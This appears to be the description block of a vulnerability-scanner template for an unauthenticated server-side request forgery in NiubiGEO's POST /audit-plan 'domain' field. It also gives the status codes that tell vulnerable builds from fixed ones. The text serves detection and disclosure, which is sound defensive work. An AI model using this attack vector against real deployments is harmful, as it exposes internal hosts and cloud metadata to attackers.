id: CVE-2026-116069

info:
  name: "NiubiGEO - Unauthenticated Server-Side Request Forgery"
  author: vedas-arpsyndicate
  severity: medium
  description: |
    NiubiGEO before 0.3.2 contains an unauthenticated server-side request forgery in
    POST /audit-plan. The `domain` field is fetched server-side without blocking internal,
    loopback or link-local hosts, so an attacker can point the audit at internal addresses
    (loopback, private ranges, or cloud metadata). Fixed builds reject such hosts with
    HTTP 400 "domain must be a public HTTP(S) website", while vulnerable builds accept the
    internal target and return the generated plan with HTTP 201.
